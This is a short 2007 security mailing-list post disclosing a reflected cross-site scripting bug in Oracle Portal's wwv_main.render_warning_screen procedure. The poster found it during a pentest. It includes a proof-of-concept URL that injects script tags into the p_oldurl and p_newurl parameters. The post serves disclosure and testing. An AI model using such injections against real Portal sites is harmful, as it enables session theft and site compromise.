Oracle Portal PORTAL.wwv_main.render_warning_screen XSS
Date: Fri, 16 Mar 2007 14:17:53 +0200
From: "Sea Shark" <sead3nx@gmail.com.>
To: [email protected]
Subject: Oracle Portal PORTAL.wwv_main.render_warning_screen XSS
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Virus-Scanned: antivirus-gw at tyumen.ru
Hi All,
During pentest i have noticed XSS bug in
PORTAL.wwv_main.render_warning_screen application of oracle portal.
http://somesite/pls/portal/PORTAL.wwv_main.render_warning_screen?p_oldurl='
<script>alert('inT')</script>&p_newurl='<script>alert('ellect')</script>
Greets,
d3nx
